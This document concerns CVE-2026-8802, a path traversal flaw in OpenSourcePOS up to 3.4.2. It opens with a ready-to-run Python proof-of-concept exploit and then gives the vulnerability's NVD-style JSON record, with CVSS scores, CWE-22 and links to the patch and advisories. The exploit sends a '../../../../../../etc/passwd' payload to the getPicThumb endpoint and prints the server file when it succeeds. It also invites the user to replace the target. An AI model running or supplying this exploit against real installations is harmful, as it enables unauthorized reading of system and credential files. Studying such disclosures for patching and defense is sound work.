CVE-2026-8802

import requests def exploit_poc(target_url): """ PoC for CVE-2026-8802 Path Traversal in OpenSourcePOS Attempts to read /etc/passwd using the vulnerable endpoint. """ # The vulnerable endpoint might look like this depending on configuration url = f"{target_url}/index.php/items/getPicThumb" # Payload to traverse directories and read /etc/passwd # Adjust the number of '../' based on the actual installation depth params = { "pic_filename": "../../../../../../etc/passwd" } try: response = requests.get(url, params=params, timeout=10) if response.status_code == 200 and "root:" in response.text: print("[+] Vulnerability confirmed! Sensitive file content:") print(response.text) else: print("[-] Vulnerability not confirmed or target patched.") print(f"Status Code: {response.status_code}") print(f"Response: {response.text[:200]}") except Exception as e: print(f"[!] An error occurred: {e}") if __name__ == "__main__": target = "http://localhost" # Replace with actual target exploit_poc(target)

{"cve": {"id": "CVE-2026-8802", "sourceIdentifier": "[email protected]", "published": "2026-05-18T11:16:18.623", "lastModified": "2026-05-18T11:16:18.623", "vulnStatus": "Received", "cveTags": [], "descriptions": [{"lang": "en", "value": "A vulnerability was detected in opensourcepos Open Source Point of Sale up to 3.4.2. This issue affects the function getPicThumb of the file app/Controllers/Items.php. The manipulation of the argument pic_filename results in path traversal. The attack may be launched remotely. The patch is identified as def0c27a0e252668df8d942fc31e16d1edfd7323. A patch should be applied to remediate this issue. The vendor was contacted early about this disclosure."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}], "cvssMetricV2": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "2.0", "vectorString": "AV:N/AC:L/Au:S/C:P/I:N/A:N", "baseScore": 4.0, "accessVector": "NETWORK", "accessComplexity": "LOW", "authentication": "SINGLE", "confidentialityImpact": "PARTIAL", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "baseSeverity": "MEDIUM", "exploitabilityScore": 8.0, "impactScore": 2.9, "acInsufInfo": false, "obtainAllPrivilege": false, "obtainUserPrivilege": false, "obtainOtherPrivilege": false, "userInteractionRequired": false}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-22"}]}], "references": [{"url": "https://github.com/opensourcepos/opensourcepos/commit/def0c27a0e252668df8d942fc31e16d1edfd7323", "source": "[email protected]"}, {"url": "https://github.com/opensourcepos/opensourcepos/pull/4545", "source": "[email protected]"}, {"url": "https://github.com/opensourcepos/opensourcepos/security/advisories/GHSA-xq63-3v4g-39r5", "source": "[email protected]"}, {"url": "https://vuldb.com/submit/802559", "source": "[email protected]"}, {"url": "https://vuldb.com/vuln/364435", "source": "[email protected]"}, {"url": "https://vuldb.com/vuln/364435/cti", "source": "[email protected]"}]}}